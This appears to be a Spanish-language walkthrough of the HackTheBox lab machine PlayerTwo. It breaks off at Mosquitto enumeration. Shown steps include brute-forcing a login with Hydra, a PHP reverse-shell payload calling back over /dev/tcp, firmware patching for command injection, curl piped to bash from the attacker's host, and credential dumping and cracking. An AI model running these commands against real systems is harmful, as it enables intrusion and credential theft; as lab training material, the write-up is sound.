PlayerTwo

PlayerTwo


Conocimientos

  • Enumeración Web

  • Information Disclosure

  • Abuso de Twrip

  • Hydra Bruteforcing

  • Obtención de OTP

  • Arbitrary File Upload (Unintencionado)

  • Race Condition (Unintencionado)

  • Alteración de Firmware - Inyección de comando en función existente

  • Remote Port Forwarding

  • Enumeración Mosquitto

  • Buffer Overflow (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.170 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 15:35 GMT
Nmap scan report for 10.10.10.170
Host is up (0.14s latency).
Not shown: 59746 closed tcp ports (reset), 5786 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8545/tcp open  unknown

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80,8545 10.10.10.170 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 15:36 GMT
Nmap scan report for 10.10.10.170
Host is up (0.062s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 0e7b112c5e61046be81cbb47b84dfe5a (RSA)
|   256 18a08756640617564d6a8c794b615690 (ECDSA)
|_  256 b64bfce962085a60e04369af29b32714 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
8545/tcp open  http    (PHP 7.2.24-0ubuntu0.18.04.1)
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 07 Jun 2023 15:36:51 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/nice%20ports%2C/Tri%6Eity.txt%2ebak"","meta":{"twirp_invalid_route":"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak"}}
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 07 Jun 2023 15:36:41 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}}
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 07 Jun 2023 15:36:42 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|     {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"OPTIONS /"}}
|   OfficeScan: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 07 Jun 2023 15:36:53 GMT
|     Connection: close
|     X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
|     Content-Type: application/json
|_    {"code":"bad_route","msg":"no handler for path "/"","meta":{"twirp_invalid_route":"GET /"}}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8545-TCP:V=7.93%I=7%D=6/7%Time=6480A40A%P=x86_64-pc-linux-gnu%r(Get
SF:Request,FC,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Wed,\x2007\x20
SF:Jun\x202023\x2015:36:41\x20GMT\r\nConnection:\x20close\r\nX-Powered-By:
SF:\x20PHP/7\.2\.24-0ubuntu0\.18\.04\.1\r\nContent-Type:\x20application/js
SF:on\r\n\r\n{\"code\":\"bad_route\",\"msg\":\"no\x20handler\x20for\x20pat
SF:h\x20\\\"\\/\\\"\",\"meta\":{\"twirp_invalid_route\":\"GET\x20\\/\"}}")
SF:%r(HTTPOptions,100,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Wed,\x
SF:2007\x20Jun\x202023\x2015:36:42\x20GMT\r\nConnection:\x20close\r\nX-Pow
SF:ered-By:\x20PHP/7\.2\.24-0ubuntu0\.18\.04\.1\r\nContent-Type:\x20applic
SF:ation/json\r\n\r\n{\"code\":\"bad_route\",\"msg\":\"no\x20handler\x20fo
SF:r\x20path\x20\\\"\\/\\\"\",\"meta\":{\"twirp_invalid_route\":\"OPTIONS\
SF:x20\\/\"}}")%r(FourOhFourRequest,144,"HTTP/1\.1\x20404\x20Not\x20Found\
SF:r\nDate:\x20Wed,\x2007\x20Jun\x202023\x2015:36:51\x20GMT\r\nConnection:
SF:\x20close\r\nX-Powered-By:\x20PHP/7\.2\.24-0ubuntu0\.18\.04\.1\r\nConte
SF:nt-Type:\x20application/json\r\n\r\n{\"code\":\"bad_route\",\"msg\":\"n
SF:o\x20handler\x20for\x20path\x20\\\"\\/nice%20ports%2C\\/Tri%6Eity\.txt%
SF:2ebak\\\"\",\"meta\":{\"twirp_invalid_route\":\"GET\x20\\/nice%20ports%
SF:2C\\/Tri%6Eity\.txt%2ebak\"}}")%r(OfficeScan,FC,"HTTP/1\.1\x20404\x20No
SF:t\x20Found\r\nDate:\x20Wed,\x2007\x20Jun\x202023\x2015:36:53\x20GMT\r\n
SF:Connection:\x20close\r\nX-Powered-By:\x20PHP/7\.2\.24-0ubuntu0\.18\.04\
SF:.1\r\nContent-Type:\x20application/json\r\n\r\n{\"code\":\"bad_route\",
SF:\"msg\":\"no\x20handler\x20for\x20path\x20\\\"\\/\\\"\",\"meta\":{\"twi
SF:rp_invalid_route\":\"GET\x20\\/\"}}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.09 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.10.170
http://10.10.10.170 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.170]

La página principal se ve así:

Añado el dominio player2.htb al /etc/hosts. Accedo a este desde el navegador

Aplico fuerza bruta para encontrar subdominios

wfuzz -c --hh=102 -t 50 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.player2.htb" http://player2.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://player2.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000689:   400        12 L     53 W       425 Ch      "gc._msdcs"                                                                                                                                     
000002876:   200        235 L    532 W      5063 Ch     "product"                                                                                                                                       

Total time: 11.88066
Processed Requests: 4989
Filtered Requests: 4987
Requests/sec.: 419.9258

Añado product.player2.htb al /etc/hosts. Tengo acceso a un panel de inicio de sesión

Intercepto la petición con BurpSuite para ver como se tramita

POST / HTTP/1.1
Host: product.player2.htb
Content-Length: 44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://product.player2.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://product.player2.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&password=admin&Submit=Sign+in

La respuesta en caso de que las credenciales sean erroneas es un código en JavaScript

<script language="javascript">alert("Nope.");window.location="http://product.player2.htb/";</script>

Tramito una petición por GET al puerto 8545

 curl -s -X GET http://10.10.10.170:8545/ | jq
{
  "code": "bad_route",
  "msg": "no handler for path \"/\"",
  "meta": {
    "twirp_invalid_route": "GET /"
  }
}

Busco por twirp_invalid_route en Google. En este rtículo explican la correspondiencia con ProtoBuf. La ruta /proto/ existe bajo player2.htb, pero devuelve un código de estado 403

curl -s -X GET http://player2.htb/proto/ -I
HTTP/1.1 403 Forbidden
Date: Wed, 14 Jun 2023 09:06:16 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 276
Content-Type: text/html; charset=iso-8859-1

Fuzzeo por extensiones proto

gobuster dir -u http://player2.htb/proto/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x proto --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://player2.htb/proto/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              proto
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2023/06/14 09:25:00 Starting gobuster in directory enumeration mode
===============================================================
/generated.proto      (Status: 200) [Size: 266]
                                               
===============================================================
2023/06/14 09:33:42 Finished
===============================================================

Le tramito una petición por GET

curl -s -X GET http://player2.htb/proto/generated.proto

syntax = "proto3";

package twirp.player2.auth;
option go_package = "auth";

service Auth {
  rpc GenCreds(Number) returns (Creds);
}

message Number {
  int32 count = 1; // must be > 0
}

message Creds {
  int32 count = 1;
  string name = 2; 
  string pass = 3; 
}

También fuzzeo la API y encuentro una ruta /totp

gobuster dir -u http://product.player2.htb/api/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://product.player2.htb/api/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/14 14:22:42 Starting gobuster in directory enumeration mode
===============================================================
/totp                 (Status: 200) [Size: 25]
                                              
===============================================================
2023/06/14 14:42:21 Finished
===============================================================

No admite peticiones por GET

 curl -s -X GET http://product.player2.htb/api/totp | jq
{
  "error": "Cannot GET /"
}

Al cambiar a POST, aparece otro error. De momento lo voy a dejar de lado

curl -s -X POST http://product.player2.htb/api/totp | jq
{
  "error": "Invalid Session"
}

En la documentación de curl explican como utilizar twirp

curl -s -X POST -H "Content-Type: application/json" -d '{"number": 1}' "http://10.10.10.170:8545/twirp/twirp.player2.auth.Auth/GenCreds" | jq
{
  "name": "jkr",
  "pass": "Lp-+Q8umLW5*7qkc"
}

Ejecuto 100 veces para obtener todas las credenciales

 for i in $(seq 1 100); do curl -s -X POST -H "Content-Type: application/json" -d '{"number": 1}' "http://10.10.10.170:8545/twirp/twirp.player2.auth.Auth/GenCreds" | jq; done | sort -u
{
}
  "name": "0xdf",
  "name": "jkr",
  "name": "mprox",
  "name": "snowscan",
  "pass": "Lp-+Q8umLW5*7qkc"
  "pass": "tR@dQnwnZEk95*6#"
  "pass": "XHq7_WJTA?QD_?E2"
  "pass": "ze+EKe-SGF^5uZQX"

Ninguna es válida por SSH

crackmapexec ssh 10.10.10.170 -u users.txt -p passwords
SSH         10.10.10.170    22     10.10.10.170     [*] SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
SSH         10.10.10.170    22     10.10.10.170     [-] 0xdf:Lp-+Q8umLW5*7qkc Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] 0xdf:tR@dQnwnZEk95*6# Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] 0xdf:XHq7_WJTA?QD_?E2 Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] 0xdf:ze+EKe-SGF^5uZQX Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] jkr:Lp-+Q8umLW5*7qkc Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] jkr:tR@dQnwnZEk95*6# Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] jkr:XHq7_WJTA?QD_?E2 Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] jkr:ze+EKe-SGF^5uZQX Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] mprox:Lp-+Q8umLW5*7qkc Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] mprox:tR@dQnwnZEk95*6# Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] mprox:XHq7_WJTA?QD_?E2 Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] mprox:ze+EKe-SGF^5uZQX Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] snowscan:Lp-+Q8umLW5*7qkc Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] snowscan:tR@dQnwnZEk95*6# Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] snowscan:XHq7_WJTA?QD_?E2 Authentication failed.
SSH         10.10.10.170    22     10.10.10.170     [-] snowscan:ze+EKe-SGF^5uZQX Authentication failed.

Sin embargo, las puedo validar al panel de autenticación de product.player2.htb

hydra -L users.txt -P passwords product.player2.htb http-post-form "/:username=^USER^&password=^PASS^&Submit=Sign+in:alert"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-14 15:05:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking http-post-form://product.player2.htb:80/:username=^USER^&password=^PASS^&Submit=Sign+in:alert
[80][http-post-form] host: product.player2.htb   login: mprox   password: tR@dQnwnZEk95*6#
[80][http-post-form] host: product.player2.htb   login: 0xdf   password: XHq7_WJTA?QD_?E2
[80][http-post-form] host: product.player2.htb   login: jkr   password: Lp-+Q8umLW5*7qkc
[80][http-post-form] host: product.player2.htb   login: snowscan   password: ze+EKe-SGF^5uZQX
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-14 15:06:00

Son válidas, pero después hay un panel de autenticación en dos pasos

Tenía la ruta /totp que me devolvía Invalid Sesion. Pero ahora tengo una cookie de sesión que puedo arrastrar

curl -s -X POST http://product.player2.htb/api/totp -H "Cookie: PHPSESSID=cvq4ahhg0kk3ok6c6i90ff9s4q" | jq
{
  "error": "Invalid action"
}

Al solicitar una acción, modifico el Content-Type a application/json para enviar data por POST en este formato

curl -s -X POST http://product.player2.htb/api/totp -H "Content-Type: application/json" -H "Cookie: PHPSESSID=cvq4ahhg0kk3ok6c6i90ff9s4q" -d '{"action":"test"}' | jq
{
  "error": "Missing parameters"
}

Puede que el error se deba al tipo de dato, así que modifico el valor por un dígito entero

curl -s -X POST http://product.player2.htb/api/totp -H "Content-Type: application/json" -H "Cookie: PHPSESSID=cvq4ahhg0kk3ok6c6i90ff9s4q" -d '{"action":0}' | jq
{
  "user": "jkr",
  "code": "29389234823423"
}

Teniendo el código ya puedo acceder a la interfaz

Puedo descargar la documentación desde http://product.player2.htb/protobs.pdf. El PDF se ve así:

También lo hago con el firmware y lo descomprimo

wget http://product.player2.htb/protobs/protobs_firmware_v1.0.tar
tar -xf protobs_firmware_v1.0.tar
ls
info.txt  Protobs.bin  version

Dos de los archivos son de texto y el restante un binario

cat info.txt version
© Playe2 2019. All rights reserved.

This firmware package consists of files which are distributed under different license terms, in particular under Player2 proprietary license or under any Open Source License (namely GNU General Public License, GNU Lesser General Public License or FreeBSD License). The source code of those files distributed as Open Source are available on written request to mrr3boot@player2.htb.

Under all Player2 intellectual property rights, Player2 grants the non-exclusive right to personally use this Protobs firmware package which is delivered in object code format only. Licensee shall olny be entitled to make a copy exclusively reserved for personal backup purposes (backup copy). Player2 reserves all intellectual property rights except as expressly granted herein. Without the prior written approval of Player2 and except to the extent as may be expressly authorised under mandatory law, this Protobs firmware package in particular
- shall not be copied, distributed or otherwise made publicly available
- shall not be modified, disassembled, reverse engineered, decompiled or otherwise "be opened" in whole or in part, and insofar shall not be copied, distributed or otherwise made publicly available.
FIRMWAREVERSION=122.01.14,,703021,
binwalk Protobs.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

Listo las cadenas de caracteres imprimibles

strings Protobs.bin
/lib64/ld-linux-x86-64.so.2
libc.so.6
exit
puts
__stack_chk_fail
putchar
stdin
printf
strtol
fgets
getchar
stdout
stderr
system
strchr
sleep
setbuf
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
__gmon_start__
[]A\A]A^A_
[!] Protobs: Signing failed...
[!] Protobs: Service shutting down...
[!] Protobs: Unexpected unrecoverable error!
[!] Protobs: Service exiting now...
stty raw -echo min 0 time 10
stty sane
[*] Protobs: User input detected. Launching Dev Console Utility
  ___         _       _       
 | _ \_ _ ___| |_ ___| |__ ___
 |  _/ '_/ _ \  _/ _ \ '_ (_-<
 |_| |_| \___/\__\___/_.__/__/
                              v1.0 Beta
[*] Protobs: Firmware booting up.
[*] Protobs: Fetching configs...
;*3$"
GCC: (Debian 9.2.1-19) 9.2.1 20191109
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7447
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
test.c
strip_newline
read_int
exit_app
abort_app
find_free_slot
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
putchar@@GLIBC_2.2.5
stdout@@GLIBC_2.2.5
puts@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
setbuf@@GLIBC_2.2.5
system@@GLIBC_2.2.5
strchr@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
fgets@@GLIBC_2.2.5
__data_start
getchar@@GLIBC_2.2.5
__gmon_start__
print_asciiart
strtol@@GLIBC_2.2.5
__dso_handle
wait_for_fkey
_IO_stdin_used
__libc_csu_init
_dl_relocate_static_pie
__bss_start
main
GAME_CONFIGS
exit@@GLIBC_2.2.5
__TMC_END__
sleep@@GLIBC_2.2.5
stderr@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.data
.bss
.comment

Entre otras, se está utilizando la función system. Desde la ruta /protobs/, puedo actualizar el fimrware

Subo el que ya tengo dentro del comprimido. En la respuesta se puede ver que se está validando la firma

HTTP/1.1 200 OK
Date: Wed, 14 Jun 2023 15:43:01 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 240
Connection: close
Content-Type: text/html; charset=UTF-8

<script>alert("Verifying signature of the firmware")</script><script>alert("It looks legit. Proceeding for provision test");</script><script>alert("All checks passed. Firmware is ready for deployment.");window.location="/protobs/";</script>

Aplico fuzzing sobre /protobs/

gobuster dir -u http://product.player2.htb/protobs/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://product.player2.htb/protobs/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/14 15:46:45 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 336] [--> http://product.player2.htb/protobs/uploads/]
/index                (Status: 302) [Size: 0] [--> /]                                            
/verify               (Status: 302) [Size: 0] [--> /]                                            
/keys                 (Status: 301) [Size: 333] [--> http://product.player2.htb/protobs/keys/]   
Progress: 20273 / 26585 (76.26%)                                                                [ERROR] 2023/06/14 15:47:10 [!] parse "http://product.player2.htb/protobs/error\x1f_log": net/url: invalid control character in URL
                                                                                                 
===============================================================
2023/06/14 15:47:15 Finished
===============================================================

Suponiendo que de los archivos se descomprimen de forma temporal en el directorio /uploads, puedo tratar de abusar de una condición de carrera para que antes de que se eliminen ejecutar contenido en PHP. Para ello creo un cmd.php que se encargue de enviarme una reverse shell y lo comprimo para subirlo

<?php
  system("bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'");
?>
tar -cvf cmd.tar cmd.php

En bucle, intento cargar constantemente el archivo

while true; do curl -s -X GET http://product.player2.htb/protobs/uploads/cmd.php; done

Una vez subido, recibo la shell en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.170] 36464
bash: cannot set terminal process group (1100): Inappropriate ioctl for device
bash: no job control in this shell
www-data@playertwo:/var/www/product/protobs/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@playertwo:/var/www/product/protobs/uploads$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@playertwo:/var/www/product/protobs/uploads$ export TERM=xterm
www-data@playertwo:/var/www/product/protobs/uploads$ export SHELL=bash
www-data@playertwo:/var/www/product/protobs/uploads$ stty rows 55 columns 209

Esta es la manera no intencionada de ganar acceso. La otra forma es modificando el firmware. Para ello, primero lo extraigo del binario

sudo -u rubbx binwalk -D elf Protobs.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

El archivo que he generado es un ELF

file 40
40: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82adae308a0023a272e626bbe83d97b2b9c630f6, for GNU/Linux 3.2.0, not stripped

Otra forma es utilizando dd

dd if=Protobs.bin of=Protobs.elf skip=64 bs=1
17200+0 records in
17200+0 records out
17200 bytes (17 kB, 17 KiB) copied, 0.0350383 s, 491 kB/s

Extraigo también la firma

dd if=Protobs.bin of=Protobs.head count=1 bs=64
1+0 records in
1+0 records out
64 bytes copied, 7.4935e-05 s, 854 kB/s

Abro Ghidra e importo el binario ELF. Me dirijo a la función principal

En la función wait_for_fkey() se está haciendo una llamada a nivel de sistema con el comando stty raw -echo min 0 time 10

Puedo intentar modificarlo para que ejecute un comando cualquiera. Utilizo ghex para habrir el BIN y buscar por la cadena en claro

Y me envío una traza ICMP

Subo el archivo, no valida si la firma es válida. Me quedo en escucha con tcpdump y recibo el ping

tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:20:09.975992 IP 10.10.10.170 > 10.10.16.6: ICMP echo request, id 15717, seq 1, length 64
17:20:09.984803 IP 10.10.16.6 > 10.10.10.170: ICMP echo reply, id 15717, seq 1, length 64

Para enviarme la reverse shell, dado que no tengo el suficiente espacio como para introducir entero el payload, utilizo curl para tramitar una petición por GET a un archivo index.html en mi equipo y pipearlo con bash para que se interprete

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.170 - - [14/Jun/2023 17:46:24] "GET / HTTP/1.1" 200 -

Recibo la reverse shell en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.170] 36888
bash: cannot set terminal process group (1100): Inappropriate ioctl for device
bash: no job control in this shell
www-data@playertwo:/var/www/product/protobs$ 

Hay dos usuarios en el sistema

www-data@playertwo:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
observer:x:1000:1000:observer:/home/observer:/bin/bash
egre55:x:1001:1001::/home/egre55:/bin/sh

Busco por archivos cuyo propietario sea observer

www-data@playertwo:/$ find \-user observer -ls 2>/dev/null
    73817      4 drwxr-xr-x   6 observer observer     4096 Sep 15  2022 ./home/observer
    80545      4 drwx------   2 observer observer     4096 Sep 15  2022 ./home/observer/.ssh
    71304      0 lrwxrwxrwx   1 observer observer        9 Sep  5  2019 ./home/observer/.bash_history -> /dev/null
    73835      4 -rw-r--r--   1 observer observer     3771 Apr  4  2018 ./home/observer/.bashrc
    71306      4 -r--------   1 observer observer       33 Jun 14 08:41 ./home/observer/user.txt
    80543      4 drwx------   3 observer observer     4096 Sep 15  2022 ./home/observer/.gnupg
    73836      4 -rw-r--r--   1 observer observer      220 Apr  4  2018 ./home/observer/.bash_logout
    73837      4 -rw-r--r--   1 observer observer      807 Apr  4  2018 ./home/observer/.profile
    80587      4 drwxr-x---   2 observer observer     4096 Sep 15  2022 ./home/observer/Development
    83595      4 drwx------   2 observer observer     4096 Sep 15  2022 ./home/observer/.cache

Encuentro un archivo de conexión a la base de datos

www-data@playertwo:/var/www/product$ cat conn.php 
<?php
$conn=mysqli_connect("localhost","dev","devdb","dev");
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

Me conecto al mysql

www-data@playertwo:/var/www/product$ mysql -udev -p'devdb'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 197
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Están almacenados los hashes de las credenciales que ya tenía

mysql> use dev;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
mysql> select * from users;
+----------+------------------------------------------+----------------+
| username | password                                 | code           |
+----------+------------------------------------------+----------------+
| jkr      | BBA66FBF4F02845CBABEF2A02A24CA295D130549 | 29389234823423 |
| snowscan | 0A64DFE14E66C4689D06D4CDD39A76542C144895 | 84573484857384 |
| 0xdf     | 9E414AF802E6109C4A20A3730718CC8B1DB5B61E | 91231238385454 |
| mprox    | A0B7EFD74F41B2D74ED97C151A9F1C47EAE4F266 | 87685768223422 |
+----------+------------------------------------------+----------------+

Para demostrarlo, las crackeo con el diccionario de contraseñas

john -w:/home/rubbx/Desktop/HTB/Machines/PlayerTwo/passwords hashes --format=Raw-SHA1-AxCrypt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA1-AxCrypt [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 4 candidates left, minimum 8 needed for performance.
Lp-+Q8umLW5*7qkc (?)     
tR@dQnwnZEk95*6# (?)     
XHq7_WJTA?QD_?E2 (?)     
ze+EKe-SGF^5uZQX (?)     
4g 0:00:00:00 DONE (2023-06-14 17:59) 400.0g/s 400.0p/s 400.0c/s 1600C/s Lp-+Q8umLW5*7qkc..ze+EKe-SGF^5uZQX
Use the "--show --format=Raw-SHA1-AxCrypt" options to display all of the cracked passwords reliably
Session completed. 

Listo los puertos abiertos internamente

www-data@playertwo:/$ ss -nltp
State                      Recv-Q                      Send-Q                                              Local Address:Port                                             Peer Address:Port                      
LISTEN                     0                           128                                                       0.0.0.0:8545                                                  0.0.0.0:*                         
LISTEN                     0                           80                                                      127.0.0.1:3306                                                  0.0.0.0:*                         
LISTEN                     0                           128                                                 127.0.0.53%lo:53                                                    0.0.0.0:*                         
LISTEN                     0                           128                                                       0.0.0.0:22                                                    0.0.0.0:*                         
LISTEN                     0                           100                                                     127.0.0.1:1883                                                  0.0.0.0:*                         
LISTEN                     0                           128                                                             *:80                                                          *:*                         
LISTEN                     0                           128                                                          [::]:22                                                       [::]:*              

Subo el chisel para aplicar Remote Port Forwarding. En mi equipo lo ejecuto como servidor

chisel server -p 1234 --reverse

Desde la máquina víctima como cliente

www-data@playertwo:/tmp$ ./chisel client 10.10.16.6:1234 R:socks &>/dev/null & disown

Analizo el puerto 1883 con nmap

proxychains nmap -sCV -p1883 -sT 127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-14 18:04 GMT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.51s latency).

PORT     STATE SERVICE                  VERSION
1883/tcp open  mosquitto version 1.4.15
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/broker/load/messages/received/1min: 20.48
|     $SYS/broker/load/bytes/received/5min: 2373.79
|     $SYS/broker/heap/current: 36224
|     $SYS/broker/bytes/received: 1281457
|     $SYS/broker/publish/bytes/received: 1083212
|     $SYS/broker/clients/inactive: 8
|     $SYS/broker/load/bytes/sent/1min: 4330.69
|     $SYS/broker/load/publish/sent/1min: 41.12
|     $SYS/broker/messages/sent: 14685
|     $SYS/broker/messages/stored: 55
|     $SYS/broker/load/sockets/1min: 5.08
